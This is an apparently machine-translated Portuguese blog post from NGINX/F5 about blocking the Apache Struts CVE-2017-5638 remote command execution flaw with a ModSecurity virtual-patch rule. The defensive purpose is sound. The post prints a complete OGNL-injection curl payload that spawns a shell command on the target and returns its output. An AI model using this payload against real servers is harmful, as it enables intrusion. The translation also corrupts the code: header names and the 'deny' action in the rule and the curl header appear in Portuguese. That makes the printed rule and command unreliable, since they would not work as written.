[ Editor – O módulo NGINX ModSecurity WAF para NGINX Plus foi oficialmente encerrado em 1º de abril de 2022 e está em transição para o fim da vida útil em 31 de março de 2024 . Para mais detalhes, veja F5 NGINX ModSecurity WAF está em transição para o fim da vida útil<.htmla> em nosso blog.]
Muitas vulnerabilidades de segurança são encontradas em bibliotecas usadas pelo código do aplicativo. Quando não for prático implementar rapidamente uma correção no código de uma biblioteca, você pode usar o ModSecurity para interceptar uma exploração, "corrigindo virtualmente" o código afetado até que você possa atualizar as bibliotecas afetadas.
A vulnerabilidade da biblioteca de aplicativos Apache Struts ( CVE-2017-5638 ), que levou à violação de 143 milhões de contas na Equifax , é um exemplo de exploração que pode ser corrigida virtualmente. A assinatura da vulnerabilidade é a presença de strings #cmd=
ou #cmds=
nos cabeçalhos HTTP Content-Type
, Content-Disposition
ou Content-Length
. (Para mais detalhes, veja abaixo .)
Usando o ModSecurity, podemos criar um patch virtual com uma regra simples que procura as strings maliciosas nos cabeçalhos HTTP afetados:
SecRule REQUEST_HEADERS:Tipo de conteúdo|REQUEST_HEADERS:Comprimento do conteúdo|REQUEST_HEADERS:Disposição do conteúdo "@rx #cmds?=" "id:5638,auditlog,log,negar,status:403"
Definimos a regra com SecRule
, fornecendo três parâmetros:
REQUEST_HEADERS
OR'ed juntas@rx
, que pesquisa os cabeçalhos de solicitação especificados para strings incluindo #cmd=
ou #cmds=
Se o ModSecurity estiver configurado no modo de bloqueio ativo , ele descarta qualquer tráfego que corresponda ao PCRE e, assim, aciona a regra.
Aprenda como começar a usar o NGINX e o ModSecurity juntos com nosso eBook: ModSecurity 3.0 e NGINX: GUIA DE INÍCIO RÁPIDO
Em muitos casos, é mais rápido implantar uma regra no ModSecurity do que corrigir o código afetado, testar novamente e, então, implantar na produção.
Considere a vulnerabilidade do Apache Struts como exemplo: como o Struts é uma biblioteca de aplicativos e não um pacote de sistema operacional, atualizá-lo em um ambiente de produção empresarial pode levar algum tempo. Como parte da atualização para uma nova versão do Struts, cada aplicativo dependente do Struts precisa ser reconstruído e testado com a biblioteca Struts mais recente. Uma grande organização pode ter centenas de aplicativos, cada um com sua própria versão da biblioteca de aplicativos Struts, o que a torna vulnerável até que cada aplicativo seja atualizado.
Com a regra personalizada do ModSecurity em vigor, você pode então corrigir o software de produção com cuidado e em um cronograma razoável, sem a pressão de ficar vulnerável. Depois que todo o software afetado for atualizado, a regra personalizada poderá ser desativada.
Apache Struts CVE-2017-5638 é uma vulnerabilidade de execução de comando remoto (RCE). Esse tipo de vulnerabilidade permite que o invasor execute comandos arbitrários, como /bin/bash
ou cmd.exe
, nos sistemas de destino. Com essa capacidade, o invasor pode então pesquisar o sistema de arquivos e a rede em busca de dados confidenciais, com o mesmo nível de acesso do servidor de aplicativos Java. Por exemplo, se o servidor de aplicativos Java estiver sendo executado como root
, o invasor terá privilégios de root
no sistema de destino.
De acordo com o CVE oficial , a vulnerabilidade ocorre quando um invasor envia um cabeçalho HTTP Content-Type
, Content-Disposition
ou Content-Length
malformado. O Apache Struts gera uma exceção quando esses cabeçalhos HTTP não correspondem a nenhum dos valores esperados. O problema ocorre porque o código de tratamento de exceções tenta imprimir o cabeçalho inválido e sem escape. (Neste contexto, “sem escape” significa que os comandos suspeitos não são precedidos por caracteres que os impedem de serem executados – caracteres de escape – como normalmente é feito ao imprimir código.)
O invasor pode colocar uma expressão Object Graph Navigation Library (OGNL) no cabeçalho Content-Type
. O OGNL tem a capacidade de executar comandos do sistema. Quando o cabeçalho inválido e sem escape é impresso, a expressão OGNL é avaliada e todos os comandos do sistema dentro da expressão OGNL são executados.
Exploits geralmente são uma variação do comando curl
abaixo.
curl -H "Tipo de conteúdo:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). ( #cmd= 'ls -ltr').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).( #cmds= (#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})) .(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" www.example.com
A sintaxe principal está na segunda metade do comando: uma instância de cada uma das strings #cmd=
e #cmds=
(destacadas acima). Cada uma das strings é seguida pelo comando do sistema a ser executado.
A solução preferida é sempre corrigir o software vulnerável imediatamente. Mas corrigir softwares de produção pode ser demorado, e atualizações apressadas podem ser arriscadas. Criar um patch virtual para software vulnerável com o ModSecurity pode ganhar tempo.
Com o patch virtual, você cria uma regra ModSecurity personalizada para bloquear tráfego que pode explorar a vulnerabilidade de segurança, como CVE-2017-5638 . Ao fazer isso, você protege seu site do ataque. Você pode então corrigir os servidores de produção com cuidado e em um cronograma razoável, sem medo de ser vítima nesse meio tempo.
Se você quiser saber mais sobre o ModSecurity e o NGINX ModSecurity WAF, baixe nosso e-book, ModSecurity 3.0 e NGINX: Guia de início rápido .
[O módulo NGINX ModSecurity WAF para NGINX Plus foi oficialmente encerrado em 1º de abril de 2022 e entrará em transição para o fim da vida útil em 31 de março de 2024 . Para mais detalhes, veja F5 NGINX ModSecurity WAF está em transição para o fim da vida útil<.htmla> em nosso blog.]
"Esta postagem do blog pode fazer referência a produtos que não estão mais disponíveis e/ou não têm mais suporte. Para obter as informações mais atualizadas sobre os produtos e soluções F5 NGINX disponíveis, explore nossa família de produtos NGINX . O NGINX agora faz parte do F5. Todos os links anteriores do NGINX.com redirecionarão para conteúdo semelhante do NGINX no F5.com."